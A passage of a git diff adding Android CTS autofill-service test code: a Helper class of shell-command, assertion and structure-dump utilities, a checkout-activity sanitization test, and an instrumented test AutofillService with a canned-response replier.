+            "content insert --uri content://settings/system --bind name:s:user_rotation --bind "
+                    + "value:i:%d";
+
+    /**
+     * Runs a {@code r}, ignoring all {@link RuntimeException} and {@link Error} until the
+     * {@link #UI_TIMEOUT_MS} is reached.
+     */
+    static void eventually(Runnable r) throws Exception {
+        eventually(r, UI_TIMEOUT_MS);
+    }
+
+    /**
+     * Runs a {@code r}, ignoring all {@link RuntimeException} and {@link Error} until the
+     * {@code timeout} is reached.
+     */
+    static void eventually(Runnable r, int timeout) throws Exception {
+        long startTime = System.currentTimeMillis();
+
+        while (true) {
+            try {
+                r.run();
+                break;
+            } catch (RuntimeException | Error e) {
+                if (System.currentTimeMillis() - startTime < timeout) {
+                    if (VERBOSE) Log.v(TAG, "Ignoring", e);
+                    Thread.sleep(RETRY_MS);
+                } else {
+                    if (e instanceof RetryableException) {
+                        throw e;
+                    } else {
+                        throw new Exception("Timedout out after " + timeout + " ms", e);
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Runs a Shell command, returning a trimmed response.
+     */
+    static String runShellCommand(String template, Object...args) {
+        final String command = String.format(template, args);
+        Log.d(TAG, "runShellCommand(): " + command);
+        try {
+            final String result = SystemUtil
+                    .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+            return TextUtils.isEmpty(result) ? "" : result.trim();
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
+
+    /**
+     * Dump the assist structure on logcat.
+     */
+    static void dumpStructure(String message, AssistStructure structure) {
+        final StringBuffer buffer = new StringBuffer(message)
+                .append(": component=")
+                .append(structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            dump(buffer, windowNode.getRootViewNode(), " ", 0);
+        }
+        Log.i(TAG, buffer.toString());
+    }
+
+    /**
+     * Dump the contexts on logcat.
+     */
+    static void dumpStructure(String message, List<FillContext> contexts) {
+        for (FillContext context : contexts) {
+            dumpStructure(message, context.getStructure());
+        }
+    }
+
+    /**
+     * Dumps the state of the autofill service on logcat.
+     */
+    static void dumpAutofillService() {
+        Log.i(TAG, "dumpsys autofill\n\n" + runShellCommand("dumpsys autofill"));
+    }
+
+    /**
+     * Sets whether the user completed the initial setup.
+     */
+    static void setUserComplete(Context context, boolean complete) {
+        if (isUserComplete() == complete) return;
+
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(context,
+                USER_SETUP_COMPLETE);
+        final String newValue = complete ? "1" : null;
+        runShellCommand("settings put secure %s %s default", USER_SETUP_COMPLETE, newValue);
+        observer.assertCalled();
+
+        assertIsUserComplete(complete);
+    }
+
+    /**
+     * Gets whether the user completed the initial setup.
+     */
+    static boolean isUserComplete() {
+        final String isIt = runShellCommand("settings get secure %s", USER_SETUP_COMPLETE);
+        return "1".equals(isIt);
+    }
+
+    /**
+     * Assets that user completed (or not) the initial setup.
+     */
+    static void assertIsUserComplete(boolean expected) {
+        final boolean actual = isUserComplete();
+        assertWithMessage("Invalid value for secure setting %s", USER_SETUP_COMPLETE)
+                .that(actual).isEqualTo(expected);
+    }
+
+    private static void dump(StringBuffer buffer, ViewNode node, String prefix, int childId) {
+        final int childrenSize = node.getChildCount();
+        buffer.append("\n").append(prefix)
+            .append('#').append(childId).append(':')
+            .append("resId=").append(node.getIdEntry())
+            .append(" class=").append(node.getClassName())
+            .append(" text=").append(node.getText())
+            .append(" class=").append(node.getClassName())
+            .append(" #children=").append(childrenSize);
+
+        buffer.append("\n").append(prefix)
+            .append("   afId=").append(node.getAutofillId())
+            .append(" afType=").append(node.getAutofillType())
+            .append(" afValue=").append(node.getAutofillValue())
+            .append(" checked=").append(node.isChecked())
+            .append(" focused=").append(node.isFocused());
+
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo != null) {
+            buffer.append("\nHtmlInfo: tag=").append(htmlInfo.getTag())
+                .append(", attrs: ").append(htmlInfo.getAttributes());
+        }
+
+        prefix += " ";
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                dump(buffer, node.getChildAt(i), prefix, i);
+            }
+        }
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            final ViewNode node = findNodeByResourceId(rootNode, resourceId);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
+        for (FillContext context : contexts) {
+            ViewNode node = findNodeByResourceId(context.getStructure(), resourceId);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
+        if (resourceId.equals(node.getIdEntry())) {
+            return node;
+        }
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                final ViewNode found = findNodeByResourceId(node.getChildAt(i), resourceId);
+                if (found != null) {
+                    return found;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    static ViewNode findNodeByText(AssistStructure structure, String text) {
+        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            final ViewNode node = findNodeByText(rootNode, text);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    static ViewNode findNodeByText(ViewNode node, String text) {
+        if (text.equals(node.getText())) {
+            return node;
+        }
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                final ViewNode found = findNodeByText(node.getChildAt(i), text);
+                if (found != null) {
+                    return found;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a text-base node is sanitized.
+     */
+    static void assertTextIsSanitized(ViewNode node) {
+      final CharSequence text = node.getText();
+      final String resourceId = node.getIdEntry();
+      if (!TextUtils.isEmpty(text)) {
+          throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+      }
+      assertNodeHasNoAutofillValue(node);
+    }
+
+    static void assertNodeHasNoAutofillValue(ViewNode node) {
+        final AutofillValue value = node.getAutofillValue();
+        if (value != null) {
+            final String text = value.isText() ? value.getTextValue().toString() : "N/A";
+            throw new AssertionError("node has value: " + value + " text=" + text);
+        }
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     *
+     */
+    static void assertTextOnly(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, false);
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     *
+     */
+    static void assertTextAndValue(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, true);
+    }
+
+    /**
+     * Asserts a text-base node exists and verify its values.
+     */
+    static ViewNode assertTextAndValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextAndValue(node, expectedValue);
+        return node;
+    }
+
+    /**
+     * Asserts a text-base node exists and is sanitized.
+     */
+    static ViewNode assertValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextValue(node, expectedValue);
+        return node;
+    }
+
+    private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
+        assertWithMessage("wrong text on %s", node).that(node.getText().toString())
+                .isEqualTo(expectedValue);
+        final AutofillValue value = node.getAutofillValue();
+        if (isAutofillable) {
+            assertWithMessage("null auto-fill value on %s", node).that(value).isNotNull();
+            assertWithMessage("wrong auto-fill value on %s", node)
+                    .that(value.getTextValue().toString()).isEqualTo(expectedValue);
+        } else {
+            assertWithMessage("node %s should not have AutofillValue", node).that(value).isNull();
+        }
+    }
+
+    /**
+     * Asserts the auto-fill value of a text-based node.
+     */
+    static ViewNode assertTextValue(ViewNode node, String expectedText) {
+        final AutofillValue value = node.getAutofillValue();
+        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", node).that(value.isText()).isTrue();
+        assertWithMessage("wrong autofill value on %s", node).that(value.getTextValue().toString())
+                .isEqualTo(expectedText);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a list-based node.
+     */
+    static ViewNode assertListValue(ViewNode node, int expectedIndex) {
+        final AutofillValue value = node.getAutofillValue();
+        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", node).that(value.isList()).isTrue();
+        assertWithMessage("wrong autofill value on %s", node).that(value.getListValue())
+                .isEqualTo(expectedIndex);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a toggle-based node.
+     */
+    static void assertToggleValue(ViewNode node, boolean expectedToggle) {
+        final AutofillValue value = node.getAutofillValue();
+        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", node).that(value.isToggle()).isTrue();
+        assertWithMessage("wrong autofill value on %s", node).that(value.getToggleValue())
+                .isEqualTo(expectedToggle);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    static void assertDateValue(Object object, AutofillValue value, int year, int month, int day) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong year on AutofillValue %s", value)
+            .that(cal.get(Calendar.YEAR)).isEqualTo(year);
+        assertWithMessage("Wrong month on AutofillValue %s", value)
+            .that(cal.get(Calendar.MONTH)).isEqualTo(month);
+        assertWithMessage("Wrong day on AutofillValue %s", value)
+             .that(cal.get(Calendar.DAY_OF_MONTH)).isEqualTo(day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    static void assertDateValue(ViewNode node, int year, int month, int day) {
+        assertDateValue(node, node.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based view.
+     */
+    static void assertDateValue(View view, int year, int month, int day) {
+        assertDateValue(view, view.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    private static void assertTimeValue(Object object, AutofillValue value, int hour, int minute) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong hour on AutofillValue %s", value)
+            .that(cal.get(Calendar.HOUR_OF_DAY)).isEqualTo(hour);
+        assertWithMessage("Wrong minute on AutofillValue %s", value)
+            .that(cal.get(Calendar.MINUTE)).isEqualTo(minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    static void assertTimeValue(ViewNode node, int hour, int minute) {
+        assertTimeValue(node, node.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based view.
+     */
+    static void assertTimeValue(View view, int hour, int minute) {
+        assertTimeValue(view, view.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts a text-base node exists and is sanitized.
+     */
+    static ViewNode assertTextIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+        return node;
+    }
+
+    /**
+     * Asserts a list-based node exists and is sanitized.
+     */
+    static void assertListValueIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+    }
+
+    /**
+     * Asserts a toggle node exists and is sanitized.
+     */
+    static void assertToggleIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertNodeHasNoAutofillValue(node);
+        assertWithMessage("ViewNode %s should not be checked", resourceId).that(node.isChecked())
+                .isFalse();
+    }
+
+    /**
+     * Asserts a node exists and has the {@code expected} number of children.
+     */
+    static void assertNumberOfChildren(AssistStructure structure, String resourceId, int expected) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        final int actual = node.getChildCount();
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for " + resourceId
+                    + " failed: expected " + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Asserts the number of children in the Assist structure.
+     */
+    static void assertNumberOfChildren(AssistStructure structure, int expected) {
+        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
+                .isEqualTo(1);
+        final int actual = getNumberNodes(structure);
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
+                    + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Gets the total number of nodes in an structure, including all descendants.
+     */
+    static int getNumberNodes(AssistStructure structure) {
+        int count = 0;
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            count += getNumberNodes(rootNode);
+        }
+        return count;
+    }
+
+    /**
+     * Gets the total number of nodes in an node, including all descendants and the node itself.
+     */
+    private static int getNumberNodes(ViewNode node) {
+        int count = 1;
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                count += getNumberNodes(node.getChildAt(i));
+            }
+        }
+        return count;
+    }
+
+    /**
+     * Creates an array of {@link AutofillId} mapped from the {@code structure} nodes with the given
+     * {@code resourceIds}.
+     */
+    static AutofillId[] getAutofillIds(Function<String, ViewNode> nodeResolver,
+            String[] resourceIds) {
+        if (resourceIds == null) return null;
+
+        final AutofillId[] requiredIds = new AutofillId[resourceIds.length];
+        for (int i = 0; i < resourceIds.length; i++) {
+            final String resourceId = resourceIds[i];
+            final ViewNode node = nodeResolver.apply(resourceId);
+            if (node == null) {
+                throw new AssertionError("No node with savable resourceId " + resourceId);
+            }
+            requiredIds[i] = node.getAutofillId();
+
+        }
+        return requiredIds;
+    }
+
+    /**
+     * Prevents the screen to rotate by itself
+     */
+    public static void disableAutoRotation() {
+        runShellCommand(ACCELLEROMETER_CHANGE, 0);
+        setOrientation(PORTRAIT);
+    }
+
+    /**
+     * Allows the screen to rotate by itself
+     */
+    public static void allowAutoRotation() {
+        runShellCommand(ACCELLEROMETER_CHANGE, 1);
+    }
+
+    /**
+     * Changes the screen orientation. This triggers a activity lifecycle (destroy -> create) for
+     * activities that do not handle this config change such as {@link OutOfProcessLoginActivity}.
+     *
+     * @param value {@link #PORTRAIT} or {@link #LANDSCAPE};
+     */
+    public static void setOrientation(int value) {
+        runShellCommand(ORIENTATION_CHANGE, value);
+    }
+
+    /**
+     * Wait until a process starts and returns the process ID of the process.
+     *
+     * @return The pid of the process
+     */
+    public static int getOutOfProcessPid(@NonNull String processName) throws InterruptedException {
+        long startTime = System.currentTimeMillis();
+
+        while (System.currentTimeMillis() - startTime < UI_TIMEOUT_MS) {
+            String[] allProcessDescs = runShellCommand("ps -eo PID,ARGS=CMD").split("\n");
+
+            for (String processDesc : allProcessDescs) {
+                String[] pidAndName = processDesc.trim().split(" ");
+
+                if (pidAndName[1].equals(processName)) {
+                    return Integer.parseInt(pidAndName[0]);
+                }
+            }
+
+            Thread.sleep(RETRY_MS);
+        }
+
+        throw new IllegalStateException("process not found");
+    }
+
+    /**
+     * Gets the maximum number of partitions per session.
+     */
+    public static int getMaxPartitions() {
+        return Integer.parseInt(runShellCommand("cmd autofill get max_partitions"));
+    }
+
+    /**
+     * Sets the maximum number of partitions per session.
+     */
+    public static void setMaxPartitions(int value) {
+        runShellCommand("cmd autofill set max_partitions %d", value);
+        assertThat(getMaxPartitions()).isEqualTo(value);
+    }
+
+    /**
+     * Checks if device supports the Autofill feature.
+     */
+    public static boolean hasAutofillFeature() {
+        return RequiredFeatureRule.hasFeature(PackageManager.FEATURE_AUTOFILL);
+    }
+
+    /**
+     * Uses Shell command to get the Autofill logging level.
+     */
+    public static String getLoggingLevel() {
+        return runShellCommand("cmd autofill get log_level");
+    }
+
+    /**
+     * Uses Shell command to set the Autofill logging level.
+     */
+    public static void setLoggingLevel(String level) {
+        runShellCommand("cmd autofill set log_level %s", level);
+    }
+
+    private Helper() {
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
new file mode 100644
index 0000000..6bef659
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+public class InitializedCheckoutActivity extends CheckoutActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.initialized_checkout_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
new file mode 100644
index 0000000..cfdb6e4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_HOME;
+import static android.autofillservice.cts.Helper.assertListValue;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertToggleValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing non-TextField views with initial values set on XML.
+ */
+public class InitializedCheckoutActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<InitializedCheckoutActivity> mActivityRule =
+        new ActivityTestRule<InitializedCheckoutActivity>(InitializedCheckoutActivity.class);
+
+    private InitializedCheckoutActivity mCheckoutActivity;
+
+    @Before
+    public void setActivity() {
+        mCheckoutActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mCheckoutActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization: most everything should be available...
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(fillRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_HOME);
+        assertToggleValue(findNodeByResourceId(fillRequest.structure, ID_SAVE_CC), true);
+
+        // ... except Spinner, whose initial value cannot be set by resources:
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
new file mode 100644
index 0000000..81e3387
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -0,0 +1,365 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
+import static android.autofillservice.cts.CannedFillResponse.ResponseType.TIMEOUT;
+import static android.autofillservice.cts.Helper.CONNECTION_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.IDLE_UNBIND_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.dumpAutofillService;
+import static android.autofillservice.cts.Helper.dumpStructure;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveCallback;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link AutofillService} used in the tests.
+ */
+public class InstrumentedAutoFillService extends AutofillService {
+
+    private static final String TAG = "InstrumentedAutoFillService";
+
+    private static final boolean DUMP_FILL_REQUESTS = false;
+    private static final boolean DUMP_SAVE_REQUESTS = false;
+
+    private static final String STATE_CONNECTED = "CONNECTED";
+    private static final String STATE_DISCONNECTED = "DISCONNECTED";
+
+    private static final AtomicReference<InstrumentedAutoFillService> sInstance =
+            new AtomicReference<>();
+    private static final Replier sReplier = new Replier();
+    private static final BlockingQueue<String> sConnectionStates = new LinkedBlockingQueue<>();
+
+    private static boolean sIgnoreUnexpectedRequests = false;
+
+    public InstrumentedAutoFillService() {
+        sInstance.set(this);
+    }
+
+    public static AutofillService peekInstance() {
+        return sInstance.get();
+    }
+
+    @Override
+    public void onConnected() {
+        Log.v(TAG, "onConnected(): " + sConnectionStates);
+        sConnectionStates.offer(STATE_CONNECTED);
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.v(TAG, "onDisconnected(): " + sConnectionStates);
+        sConnectionStates.offer(STATE_DISCONNECTED);
+    }
+
+    @Override
+    public void onFillRequest(android.service.autofill.FillRequest request,
+            CancellationSignal cancellationSignal, FillCallback callback) {
+        if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts()))  {
+            Log.w(TAG, "Ignoring onFillRequest()");
+            return;
+        }
+        if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
+        sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+                cancellationSignal, callback, request.getFlags());
+    }
+
+    @Override
+    public void onSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
+        if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
+            Log.w(TAG, "Ignoring onSaveRequest()");
+            return;
+        }
+        if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
+        sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
+    }
+
+    private boolean fromSamePackage(List<FillContext> contexts) {
+        final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
+                .getActivityComponent();
+        final String actualPackage = component.getPackageName();
+        if (!actualPackage.equals(getPackageName())) {
+            Log.w(TAG, "Got request from package " + actualPackage);
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Sets whether unexpected calls to
+     * {@link #onFillRequest(android.service.autofill.FillRequest, CancellationSignal, FillCallback)}
+     * should throw an exception.
+     */
+    public static void setIgnoreUnexpectedRequests(boolean ignore) {
+        sIgnoreUnexpectedRequests = ignore;
+    }
+
+    /**
+     * Waits until {@link #onConnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution - if a text needs to
+     * block until the service receives a callback, it should use
+     * {@link Replier#getNextFillRequest()} instead.
+     */
+    static void waitUntilConnected() throws InterruptedException {
+        final String state = sConnectionStates.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (state == null) {
+            dumpAutofillService();
+            throw new RetryableException("not connected in %d ms", CONNECTION_TIMEOUT_MS);
+        }
+        assertWithMessage("Invalid connection state").that(state).isEqualTo(STATE_CONNECTED);
+    }
+
+    /**
+     * Waits until {@link #onDisconnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution.
+     */
+    static void waitUntilDisconnected() throws InterruptedException {
+        final String state = sConnectionStates.poll(2 * IDLE_UNBIND_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        if (state == null) {
+            throw new RetryableException("not disconnected in %d ms", IDLE_UNBIND_TIMEOUT_MS);
+        }
+        assertWithMessage("Invalid connection state").that(state).isEqualTo(STATE_DISCONNECTED);
+    }
+
+    /**
+     * Gets the {@link Replier} singleton.
+     */
+    static Replier getReplier() {
+        return sReplier;
+    }
+
+    static void resetStaticState() {
+        sConnectionStates.clear();
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)} that can be asserted at the end of a test case.
+     */
+    static final class FillRequest {
+        final AssistStructure structure;
+        final List<FillContext> contexts;
+        final Bundle data;
+        final CancellationSignal cancellationSignal;
+        final FillCallback callback;
+        final int flags;
+
+        private FillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags) {
+            this.contexts = contexts;
+            this.data = data;
+            this.cancellationSignal = cancellationSignal;
+            this.callback = callback;
+            this.flags = flags;
+            structure = contexts.get(contexts.size() - 1).getStructure();
+        }
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
+     * that can be asserted at the end of a test case.
+     */
+    static final class SaveRequest {
+        final List<FillContext> contexts;
+        final AssistStructure structure;
+        final Bundle data;
+        final SaveCallback callback;
+
+        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
+            if (contexts != null && contexts.size() > 0) {
+                structure = contexts.get(contexts.size() - 1).getStructure();
+            } else {
+                structure = null;
+            }
+            this.contexts = contexts;
+            this.data = data;
+            this.callback = callback;
+        }
+    }
+
+    /**
+     * Object used to answer a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)}
+     * on behalf of a unit test method.
+     */
+    static final class Replier {
+
+        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
+        private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
+
+        private Replier() {
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
+         * one {@link Dataset}.
+         */
+        Replier addResponse(CannedDataset dataset) {
+            return addResponse(new CannedFillResponse.Builder()
+                    .addDataset(dataset)
+                    .build());
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        Replier addResponse(CannedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+
+        /**
+         * Gets the next fill request, in the order received.
+         *
+         * <p>Typically called at the end of a test case, to assert the initial request.
